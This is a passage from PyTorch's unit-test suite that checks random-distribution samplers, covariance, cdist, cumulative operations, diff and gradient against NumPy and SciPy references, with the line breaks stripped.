lambda fails with self.assertRaises(RuntimeError): torch.empty((1,), device=device, dtype=dtype).exponential_(-0.5) @onlyCUDA @dtypesIfCUDA(torch.half, torch.float) def test_exponential_no_zero(self, device, dtype): # naively, 0 in exponential can be generated with probability 2^-24 # so we need more samples to check if it's not generated # instead of doing one # don't test CPU, that would be a long test x = torch.empty(50000000, device=device, dtype=dtype).exponential_() self.assertTrue(x.min() > 0) def _generate_correlation_tensors(self, device, dtype): yield make_tensor((0, 0), device, dtype) yield make_tensor((1, 0), device, dtype) yield make_tensor((0, 1), device, dtype) yield make_tensor((2,), device, dtype) yield make_tensor((2, 1), device, dtype) yield make_tensor((2, 2), device, dtype) yield make_tensor((2, 3), device, dtype) yield make_tensor((5, 10), device, dtype) yield make_tensor((5, 10), device, dtype, noncontiguous=True) if dtype != torch.int: yield torch.tensor([0, -2, nan, 10.2, inf], dtype=dtype, device=device) @onlyOnCPUAndCUDA @dtypes(torch.int, torch.float, torch.cfloat) def test_corrcoef(self, device, dtype): for x in self._generate_correlation_tensors(device, dtype): res = torch.corrcoef(x) ref = np.corrcoef(x.cpu().numpy()) self.assertEqual(res, ref, exact_dtype=False) @dtypes(torch.int, torch.float, torch.cfloat) def test_cov(self, device, dtype): def check(t, correction=1, fweights=None, aweights=None): res = torch.cov(t, correction=correction, fweights=fweights, aweights=aweights) t = t.cpu().numpy() fweights = fweights.cpu().numpy() if fweights is not None else None aweights = aweights.cpu().numpy() if aweights is not None else None ref = np.cov(t, ddof=correction, fweights=fweights, aweights=aweights) self.assertEqual(res, ref, atol=1e-05, rtol=1e-05, exact_dtype=False) for x in self._generate_correlation_tensors(device, dtype): check(x) num_observations = x.numel() if x.ndim < 2 else x.size(1) if num_observations > 0: fweights = torch.randint(1, 10, (num_observations,), device=device) aweights = make_tensor((num_observations,), device, torch.float, low=1) for correction, fw, aw in product([0, 1, 2], [None, fweights], [None, aweights]): check(x, correction, fweights, aweights) def test_cov_error(self, device): def check(msg, *args, **kwargs): with self.assertRaisesRegex(RuntimeError, r'cov\(\):.*' + msg + r'.*'): torch.cov(*args, **kwargs) a = torch.rand(2) check(r'expected input to have two or fewer dimensions', torch.rand(2, 2, 2)) check(r'expected fweights to have one or fewer dimensions', a, fweights=torch.rand(2, 2)) check(r'expected aweights to have one or fewer dimensions', a, aweights=torch.rand(2, 2)) check(r'expected fweights to have integral dtype', a, fweights=torch.rand(2)) check(r'expected aweights to have floating point dtype', a, aweights=torch.tensor([1, 1])) check(r'expected fweights to have the same numel', a, fweights=torch.tensor([1])) check(r'expected aweights to have the same numel', a, aweights=torch.rand(1)) check(r'fweights cannot be negative', a, fweights=torch.tensor([-1, -2])) check(r'aweights cannot be negative', a, aweights=torch.tensor([-1., -2.])) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_uniform_kstest(self, device, dtype): from scipy import stats size = 1000 for from_ in [-42, 0, 4.2]: for to_ in [-4.2, 0, 42]: if to_ > from_: t = torch.empty(size, dtype=dtype, device=device).uniform_(from_, to_) res = stats.kstest(t.cpu().to(torch.double), 'uniform', args=(from_, (to_ - from_))) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes(include_bfloat16=False)) @dtypesIfCUDA(*get_all_fp_dtypes()) def test_normal_kstest(self, device, dtype): from scipy import stats size = 1000 for mean in [-10, 0, 50]: for std in [1, 5, 10]: t = torch.empty(size, dtype=dtype, device=device).normal_(mean=mean, std=std) res = stats.kstest(t.cpu().to(torch.double), 'norm', args=(mean, std)) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_lognormal_kstest(self, device, dtype): from scipy import stats size = 1000 for mean in [-3, 0, 7]: for std in [1, 5, 7]: t = torch.empty(size, dtype=dtype, device=device).log_normal_(mean=mean, std=std) res = stats.kstest(t.cpu().to(torch.double), 'lognorm', args=(std, 0, math.exp(mean))) if dtype == torch.half: self.assertTrue(res.statistic < 0.3) else: self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_exponential_kstest(self, device, dtype): from scipy import stats size = 1000 for lambd in [0.5, 1.0, 5.0]: t = torch.empty(size, dtype=dtype, device=device).exponential_(lambd=lambd) res = stats.kstest(t.cpu().to(torch.double), 'expon', args=(0, 1 / lambd,)) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_cauchy_kstest(self, device, dtype): from scipy import stats size = 1000 for median in [-10, 0, 50]: for sigma in [0.5, 1.0, 10.0]: t = torch.empty(size, dtype=dtype, device=device).cauchy_(median=median, sigma=sigma) res = stats.kstest(t.cpu().to(torch.double), 'cauchy', args=(median, sigma)) self.assertTrue(res.statistic < 0.1) @slowTest @onlyCUDA @dtypes(torch.bfloat16, torch.float32) def test_cauchy_no_inf(self, device, dtype): # torch.float16 will have `inf` because of its smaller range. for _ in range((2**16) * 2): x = torch.empty((2**16), dtype=dtype, device=device) x.cauchy_() self.assertFalse(x.isinf().sum()) @skipIfNoSciPy @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes())) def test_geometric_kstest(self, device, dtype): from scipy import stats size = 1000 for p in [0.2, 0.5, 0.8]: t = torch.empty(size, dtype=dtype, device=device).geometric_(p=p) actual = np.histogram(t.cpu().to(torch.double), np.arange(1, 100))[0] expected = stats.geom(p).pmf(np.arange(1, 99)) * size res = stats.chisquare(actual, expected) self.assertEqual(res.pvalue, 1.0, atol=0.1, rtol=0) def test_pairwise_distance_empty(self, device): shape = (2, 0) x = torch.randn(shape, device=device) y = torch.randn(shape, device=device) self.assertEqual(torch.zeros(2, device=device), torch.pairwise_distance(x, y)) self.assertEqual(torch.zeros((2, 1), device=device), torch.pairwise_distance(x, y, keepdim=True)) shape = (0, 2) x = torch.randn(shape, device=device) y = torch.randn(shape, device=device) self.assertEqual(torch.zeros(0, device=device), torch.pairwise_distance(x, y)) self.assertEqual(torch.zeros((0, 1), device=device), torch.pairwise_distance(x, y, keepdim=True)) def test_pdist_empty(self, device): shape = (0, 2) x = torch.randn(shape, device=device) self.assertEqual(torch.empty(0, device=device), torch.pdist(x)) shape = (1, 2) x = torch.randn(shape, device=device) self.assertEqual(torch.empty(0, device=device), torch.pdist(x)) shape = (3, 0) x = torch.randn(shape, device=device) self.assertEqual(torch.zeros(3, device=device), torch.pdist(x)) def test_cdist_empty(self, device): x = torch.randn((0, 5), device=device) y = torch.randn((4, 5), device=device) self.assertEqual(torch.empty(0, 4, device=device), torch.cdist(x, y)) x = torch.randn((2, 5), device=device) y = torch.randn((0, 5), device=device) self.assertEqual(torch.empty(2, 0, device=device), torch.cdist(x, y)) x = torch.randn((2, 0), device=device) y = torch.randn((3, 0), device=device) self.assertEqual(torch.zeros(2, 3, device=device), torch.cdist(x, y)) x = torch.randn((2, 0), device=device) y = torch.randn((0, 0), device=device) self.assertEqual(torch.empty(2, 0, device=device), torch.cdist(x, y)) def _brute_cdist(self, x, y, p=2): r1 = x.shape[-2] r2 = y.shape[-2] if r1 == 0 or r2 == 0: return torch.empty(r1, r2, device=x.device) return torch.norm(x[..., None, :] - y[..., None, :, :], p=p, dim=-1) def test_cdist_norm(self, device): for r1 in [3, 4, 5, 6]: for m in [2, 3, 4, 10]: for r2 in [4, 6, 7, 8]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x = torch.randn(r1, m, device=device) y = torch.randn(r2, m, device=device) if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual, rtol=0, atol=0.02) else: actual = torch.cdist(x, y, p=p) expected = self._brute_cdist(x, y, p=p) self.assertEqual(expected, actual) def test_cdist_norm_batch(self, device): for r1 in [3, 4, 5, 6]: for m in [2, 3, 4, 10]: for r2 in [4, 6, 7, 8]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x = torch.randn(2, 3, 6, r1, m, device=device) y = torch.randn(2, 3, 6, r2, m, device=device) if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual, rtol=0, atol=0.02) else: actual = torch.cdist(x, y, p=p) expected = self._brute_cdist(x, y, p=p) self.assertEqual(expected, actual) @onlyCUDA def test_cdist_cuda_backward(self, device): for l1 in [1, 511, 513]: for l2 in [1, 511, 513]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x1 = torch.randn(4, l1, 32, device=device, requires_grad=True) x2 = x1.clone().detach_().requires_grad_() y1 = torch.randn(4, l2, 32, device=device, requires_grad=True) y2 = y1.clone().detach_().requires_grad_() if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: z1 = torch.cdist(x1, y1, p=2, compute_mode=cm).mean() z2 = self._brute_cdist(x2, y2, p=2).mean() z1.backward() z2.backward() self.assertEqual(x1.grad, x2.grad, rtol=0, atol=0.001) self.assertEqual(y1.grad, y2.grad, rtol=0, atol=0.001) else: z1 = torch.cdist(x1, y1, p=p).mean() z2 = self._brute_cdist(x2, y2, p=p).mean() self.assertEqual(x1.grad, x2.grad, rtol=0, atol=0.001) self.assertEqual(y1.grad, y2.grad, rtol=0, atol=0.001) @tf32_on_and_off(0.005) def test_cdist_large(self, device): for cm in ['use_mm_for_euclid_dist_if_necessary', 'use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(1000, 10, device=device) y = torch.randn(1000, 10, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual) @slowTest @tf32_on_and_off(0.01) def test_cdist_large_batch(self, device): for cm in ['use_mm_for_euclid_dist_if_necessary', 'use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(4, 3, 1000, 10, device=device) y = torch.randn(4, 3, 1000, 10, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual) @tf32_on_and_off(0.005) def test_cdist_non_contiguous(self, device): for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(5, 7, device=device).transpose(-1, -2) y = torch.randn(5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(7, 5, device=device) y = torch.randn(5, 3, device=device).t() actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertTrue(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(5, 7, device=device).t() y = torch.randn(3, 5, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertTrue(y.is_contiguous()) self.assertEqual(expected, actual) @tf32_on_and_off() def test_cdist_non_contiguous_batch(self, device): for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(4, 3, 2, 5, 7, device=device).transpose(-1, -2) y = torch.randn(4, 3, 2, 5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(7, 2, 7, 5, device=device) y = torch.randn(7, 2, 5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertTrue(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(4, 5, 7, device=device).transpose(-1, -2) y = torch.randn(4, 3, 5, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertTrue(y.is_contiguous()) self.assertEqual(expected, actual) def test_multinomial_constraints(self, device): x = torch.empty(1, 2, 3, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "prob_dist must be 1 or 2 dim", lambda: torch.multinomial(x, 2)) x = torch.empty(1, 2, dtype=torch.long, device=device) self.assertRaisesRegex( RuntimeError, "multinomial only supports floating-point dtypes for input", lambda: torch.multinomial(x, 2)) x = torch.empty(1, 2, dtype=torch.double, device=device) y = torch.empty(1, 2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "multinomial expects Long tensor out", lambda: torch.multinomial(x, 2, out=y)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample <= 0 samples", lambda: torch.multinomial(x, 0)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample <= 0 samples", lambda: torch.multinomial(x, -1)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample > prob_dist", lambda: torch.multinomial(x, 3, False)) x = torch.empty(16777217, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "number of categories cannot exceed", lambda: torch.multinomial(x, 3)) def test_cumsum(self, device): x = torch.rand(100, 100, device=device) res1 = torch.cumsum(x, 1) res2 = torch.tensor([]).to(device) torch.cumsum(x, 1, out=res2) self.assertEqual(res1, res2) x.cumsum_(1) self.assertEqual(res1, x) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], device=device) b = a.byte() aRes = torch.cumsum(a, 0) bRes = torch.cumsum(b, 0) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 1], [1, 0, 1], [2, 1, 2]])) aRes = torch.cumsum(a, 1) bRes = torch.cumsum(b, 1) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 1, 2], [0, 0, 0], [1, 2, 3]])) # Check that cummulative sum over a zero length dimension doesn't crash on backprop. # Also check that cumsum over other dimensions in a tensor with a zero-length # dimensiuon also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = raw_tensor.cumsum(dim=dim) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = raw_tensor.cumsum(dim=-1) self.assertEqual(raw_tensor, integrated) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) def test_cumprod(self, device): x = torch.rand(100, 100, device=device) res1 = torch.cumprod(x, 1) res2 = torch.tensor([]).to(device) torch.cumprod(x, 1, out=res2) self.assertEqual(res1, res2) x.cumprod_(1) self.assertEqual(res1, x) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], dtype=torch.bool, device=device) b = a.byte() aRes = torch.cumprod(a, 0) bRes = torch.cumprod(b, 0) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 1], [0, 0, 0], [0, 0, 0]])) aRes = torch.cumprod(a, 1) bRes = torch.cumprod(b, 1) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 0], [0, 0, 0], [1, 1, 1]])) # Check that cummulative prod over a zero length dimension doesn't crash on backprop. # Also check that cumprod over other dimensions in a tensor with a zero-length # dimensiuon also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = raw_tensor.cumprod(dim=dim) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = raw_tensor.cumprod(dim=-1) self.assertEqual(raw_tensor, integrated) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) def test_cummax_cummin(self, device): def test_ops(op, string_of_function_name, expected_output1, expected_output2): x = torch.rand(100, 100, device=device) out1 = op(x, 1) res2 = torch.empty(0, device=device) indices2 = torch.empty(0, dtype=torch.int64, device=device) op(x, 1, out=(res2, indices2)) self.assertEqual(out1[0], res2) self.assertEqual(out1[1], indices2) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], dtype=torch.bool, device=device) b = a.byte() aRes = op(a, 0) bRes = op(b, 0) self.assertEqual(aRes[0], bRes[0].bool()) self.assertEqual(aRes[0], expected_output1.bool()) # test inf and nan input x = torch.tensor([4, inf, 1.5, -inf, 0, nan, 1]) xRes = op(x, 0)[0] self.assertEqual(xRes, expected_output2) # op shouldn't support values, indices with a dtype, device type or layout # different from that of input tensor t = torch.randn(10) values = torch.empty(0, dtype=torch.int16) indices = torch.empty(0, dtype=torch.int64) with self.assertRaisesRegex( RuntimeError, 'expected scalar_type Float but found Short'): op(t, 0, out=(values, indices)) # Check that op over a zero length dimension doesn't crash on backprop. # Also check that op over other dimensions in a tensor with a zero-length # dimension also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = getattr(raw_tensor, string_of_function_name)(dim=dim) # Check that backward does not crash integrated[0].sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = getattr(raw_tensor, string_of_function_name)(dim=-1) # Check that backward does not crash integrated[0].sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) expected_out = torch.tensor([4, inf, inf, inf, inf, nan, nan]) test_ops(torch.cummax, "cummax", torch.tensor([[1, 0, 1], [1, 0, 1], [1, 1, 1]]), expected_out) expected_out = torch.tensor([4, 4, 1.5, -inf, -inf, nan, nan]) test_ops(torch.cummin, "cummin", torch.tensor([[1, 0, 1], [0, 0, 0], [0, 0, 0]]), expected_out) def test_logcumsumexp(self, device): def logcumsumexp(a, axis): return torch.cumsum(a.exp(), axis=axis).log_() axis = -1 a = torch.randn(100, 100, device=device) actual = a.logcumsumexp(axis) expected = logcumsumexp(a, axis) self.assertEqual(a.dtype, actual.dtype) self.assertEqual(expected.shape, actual.shape) self.assertEqual(expected, actual) # check -inf and nan handling x = torch.tensor([-float('inf'), -float('inf'), 1.0, 1.0, float('inf'), float('inf'), float('nan'), 1.0, 1.0], device=device) x2d = x.unsqueeze(0).expand(2, -1) for inp in (x, x2d): actual = inp.logcumsumexp(axis) expected = logcumsumexp(inp, axis) self.assertEqual(expected, actual) # Check that out is actually inplace b = torch.randn(5, 2, device=device) inplace_out = torch.zeros(5, 2, device=device) expected = logcumsumexp(b, axis) torch.logcumsumexp(b, axis=axis, out=inplace_out) self.assertEqual(inplace_out, expected) # Check input and inplace_output type mismatch b = torch.randn(5, 2, device=device, dtype=torch.float64) inplace_out = torch.zeros(5, 2, device=device, dtype=torch.float32) with self.assertRaisesRegex( RuntimeError, 'expected scalar_type Double but found Float'): torch.logcumsumexp(b, axis, out=inplace_out) def _test_diff_numpy(self, t, dims=None): # Helper for test_diff to compare with NumPy reference implementation def to_np(t): if t.dtype == torch.bfloat16: return t.to(dtype=torch.float, device="cpu").numpy() else: return t.cpu().numpy() for dim in dims if dims else range(t.dim()): prepend = t.narrow(dim, 0, 1) append = t.narrow(dim, 0, 1) np_t = to_np(t) # test when prepend and append's size along dim is 1 actual = torch.diff(t, dim=dim, prepend=prepend, append=append) expected = torch.from_numpy(np.diff(np_t, axis=dim, prepend=to_np(prepend), append=to_np(append))) self.assertEqual(actual, expected.to(t.dtype)) # test when prepend and append's size along dim != 1 actual = torch.diff(t, dim=dim, prepend=t, append=t) expected = torch.from_numpy(np.diff(np_t, axis=dim, prepend=np_t, append=np_t)) self.assertEqual(actual, expected.to(t.dtype)) # All tensors appear contiguous on XLA @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_diff_noncontig(self, device, dtype): shapes = ( (1,), (1, 5), (3, 5), (1, 5, 1), (2, 3, 5)) for shape in shapes: contig = make_tensor(shape, device, dtype, low=-9, high=9) non_contig = torch.empty(shape + (2, 2), device=device, dtype=dtype)[..., 0] non_contig = non_contig.select(-1, -1) non_contig.copy_(contig) self.assertTrue(not non_contig.is_contiguous() or shape == (1,)) self._test_diff_numpy(non_contig) # RngNormal not implemented for type f16 for XLA @dtypes(*get_all_dtypes(include_half=False)) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_diff(self, device, dtype): shapes = ( (1,), (1, 5), (3, 5), (1, 5, 1), (2, 3, 5)) for shape in shapes: contig = make_tensor(shape, device, dtype, low=-9, high=9) self._test_diff_numpy(contig) t = torch.ones(2, 3) with self.assertRaisesRegex( RuntimeError, 'diff expects prepend or append to be the same dimension as input'): invalid_prepend = torch.tensor([1, 2, 3], device=device, dtype=dtype) t.diff(dim=0, prepend=invalid_prepend) with self.assertRaisesRegex( RuntimeError, 'diff expects the shape of tensor to prepend or append to match that of input'): invalid_prepend = torch.tensor([[0, 1]], device=device, dtype=dtype) t.diff(dim=0, prepend=invalid_prepend) with self.assertRaisesRegex( RuntimeError, 'diff only supports n = 1 currently'): torch.diff(t, n=2) with self.assertRaisesRegex( RuntimeError, 'diff expects input to be at least one-dimensional'): scalar = torch.tensor(2, device=device, dtype=dtype) torch.diff(scalar) # if the given input arg is not a list, it returns a list of single element: [arg] def _wrap_to_list(self, input_array): return input_array if isinstance(input_array, list) else [input_array] # To ensure inf, -inf, and nan values do not cause divergence between Numpy and PyTorch. # There are two types of possible divergence: # 1. When we compute a,b both real numbers and has very small absolute values (i.e. very near to 0.0) # then, result of a/b be inf, -inf and nan, and this cause divergence. # 2. When we are dividing complex numbers by zero. For example, when a = torch.tensor(3+5j) we have # a/0 to be equal to nan + nan*j in PyTorch and inf + inf*j in Numpy. def _inf_nan_preprocess(self, actual, expected): for i in range(len(expected)): expected[i] = np.nan_to_num(expected[i], nan=nan, posinf=nan, neginf=nan) # nan_to_num is not defined for complex tensors in PyTorch. if actual[i].dtype == torch.complex64 : actual[i].real = torch.nan_to_num(actual[i].real, nan=nan, posinf=nan, neginf=nan) actual[i].imag = torch.nan_to_num(actual[i].imag, nan=nan, posinf=nan, neginf=nan) else: actual[i] = torch.nan_to_num(actual[i], nan=nan, posinf=nan, neginf=nan) return actual, expected @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_gradient_all(self, device, dtype): def create_scalar(shape): return make_tensor((1,), device='cpu', dtype=dtype, low=1.).item() def create_list(shape): return make_tensor((len(shape),), device='cpu', dtype=dtype, low=1.).tolist() def create_coordinate_tensors(shape): tensor_list = [] for i in range(len(shape)): tensor_list.append(make_tensor((shape[i],), device=device, dtype=dtype)) return tensor_list def filter_shape(shape, dim): filtered_shape = [] for i in range(len(dim)): filtered_shape.append(shape[dim[i]]) return filtered_shape # shape, dims format test_cases = ( ((5,), (0,)), ((4, 4), (0, 1)), ((3, 3, 3), (-1, 0)), ((4, 4, 4), (2,)), ((4, 4, 4), (0, 1)), ((4, 4, 4, 3), (0, 2, 3)), ((4, 5, 3, 4, 3), (1, 2)), ((4, 3, 6, 5, 3), (2, 4)), ((4, 3, 3, 5, 3), (0, 1, 2, 3, 4)), ) for case, contig, edge_order, space_fn in product(test_cases, [True, False], [1, 2], (create_scalar, create_list, create_coordinate_tensors)): shape, dims = case # filter shape by dims before passing filtered shape to create_* functions filtered_shape = filter_shape(shape, dims) spacing = space_fn(filtered_shape) t = make_tensor(shape, device=device, dtype=dtype, noncontiguous=not contig) t_np = t.cpu().numpy() actual = torch.gradient(t, spacing=spacing, dim=dims, edge_order=edge_order) if space_fn == create_coordinate_tensors and spacing[0].device != 'cpu': spacing = [space.cpu().detach().numpy() for space in spacing] expected = np.gradient(t_np, *self._wrap_to_list(spacing), axis=dims, edge_order=edge_order) actual, expected = self._inf_nan_preprocess(list(actual), self._wrap_to_list(expected)) self.assertEqual(actual, expected, equal_nan=True, atol=1e-4, rtol=0, exact_dtype=False) @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_gradient_extreme_cases(self, device, dtype): # Test behaviour for inf and nan values actual = torch.gradient(torch.tensor([2, -2, inf, inf, -inf, -inf, inf, 3, -inf, 2, nan, nan, 3, inf, nan])) expected = np.gradient(np.array([2, -2, inf, inf, -inf, -inf, inf, 3, -inf, 2, nan, nan, 3, inf, nan])) self.assertEqual(actual, self._wrap_to_list(expected), exact_dtype=False) # Test behaviour in very big tensors large_size = 100000 t = make_tensor((large_size,), device, dtype) t_np = t.cpu().numpy() coordinates_np = list(np.random.randn(large_size)) coordinates = [torch.tensor(coordinates_np, device=device)] actual = torch.gradient(t, spacing=coordinates, dim=0, edge_order=1) expected = [np.gradient(t_np, coordinates_np, axis=0, edge_order=1)] self.assertEqual(actual, expected, exact_dtype=False) actual = torch.gradient(t, spacing=coordinates, dim=0, edge_order=2) expected = [np.gradient(t_np, coordinates_np, axis=0, edge_order=2)] self.assertEqual(actual, expected, exact_dtype=False) @onlyOnCPUAndCUDA def test_gradient_type_promotion(self, device): inputs = ( make_tensor((4, 4), device=device, dtype=torch.float32), make_tensor((4, 4), device=device, dtype=torch.complex64), make_tensor((4, 4), device=device, dtype=torch.int64), ) spacing = ( make_tensor((1,), device='cpu', dtype=torch.float32).item(), make_tensor((1,), device='cpu', dtype=torch.int64).item(), make_tensor((1,), device='cpu', dtype=torch.complex64).item(), make_tensor((2,), device='cpu', dtype=torch.float32, low=0.1).tolist(), make_tensor((2,), device='cpu', dtype=torch.int64, low=1).tolist(), make_tensor((2,), device='cpu', dtype=torch.complex64).tolist(), [make_tensor((4,), device=device, dtype=torch.float32), make_tensor((4,), device=device, dtype=torch.float32)], [make_tensor((4,), device=device, dtype=torch.int64), make_tensor((4,), device=device, dtype=torch.int64)], [make_tensor((4,), device=device, dtype=torch.complex64), make_tensor((4,), device=device, dtype=torch.complex64)], ) for input, spacing_or_coord, edge_order in product(inputs, spacing, [1, 2]): input_np = input.cpu().numpy() input_np = input.cpu().numpy() actual = torch.gradient(input, spacing=spacing_or_coord, dim=(0, 1), edge_order=edge_order) spacing_or_coord_wrapped = self._wrap_to_list(spacing_or_coord) spacing_or_coord_np = [] if torch.is_tensor(spacing_or_coord_wrapped[0]) and torch.device(spacing_or_coord_wrapped[0].device).type != 'cpu': for i in range(len(spacing_or_coord_wrapped)): spacing_or_coord_np.append(spacing_or_coord_wrapped[i].detach().clone().cpu().numpy()) else: spacing_or_coord_np = spacing_or_coord_wrapped expected = np.gradient(input_np, *spacing_or_coord_np, axis=(0, 1), edge_order=edge_order) if actual[0].dtype == torch.complex64 and input.dtype != torch.complex64: for i in range(len(actual)): self.assertEqual(actual[i].real, expected[i].real, exact_dtype=False) # Type promotion fails on Numpy when spacing is given as complex number and input is given as real. # Result is given just as real number and all the imaginary parts to be equal to zero. self.assertEqual(expected[i].imag, torch.zeros(actual[i].shape), exact_dtype=False) else: actual, expected = self._inf_nan_preprocess(list(actual), expected) self.assertEqual(actual, expected, equal_nan=True, exact_dtype=False) @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_error_gradient(self, device, dtype): t = torch.tensor([[1, 2, 3], [4, 5, 6], [7, 8, 9]], device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected spacing to be unspecified, a scalar '): dim = (1, 0) spacing = [0.1] torch.gradient(t, spacing=spacing, dim=dim, edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient only supports edge_order=1 and edge_order=2.'): torch.gradient(t, edge_order=3) with self.assertRaisesRegex(RuntimeError, 'dim 1 appears multiple times in the list of dims'): dim = (1, 1) spacing = 0.1 torch.gradient(t, spacing=spacing, dim=dim, edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each tensor to be on the same device,'): dim = (0, 1) coordinates = [torch.tensor([1, 2, 4], device='cpu'), torch.tensor([1, 2, 4], device='meta')] torch.gradient(t, spacing=coordinates, dim=dim, edge_order=1) with self.assertRaises(IndexError): torch.gradient(t, dim=3) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each dimension size to be at least'): torch.gradient(torch.tensor([[1], [2], [3]]), edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each dimension size to be at least'): torch.gradient(torch.tensor([[1, 2], [3, 4]]), edge_order=2) def _test_large_cum_fn_helper(self, x, fn): x_cpu = x.cpu().float() expected = fn(x_cpu) actual = fn(x).cpu().float() self.assertEqual(expected, actual.cpu().float()) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "sandcastle OOM with current tpx gpu/re configuration") @onlyCUDA @dtypesIfCUDA(torch.half) # only small dtype not to get oom def test_large_cumsum(self, device, dtype): # initialization to avoid overflow and half caveats x = torch.empty(2**30 + 200, device=device, dtype=dtype) x[::3] = -3 x[1::3] = 2 x[2::3] = 1 self._test_large_cum_fn_helper(x, lambda x: torch.cumsum(x, 0)) @onlyCUDA @dtypesIfCUDA(torch.half) # only small dtype not to get oom def test_large_cumprod(self, device, dtype): # initialization to avoid 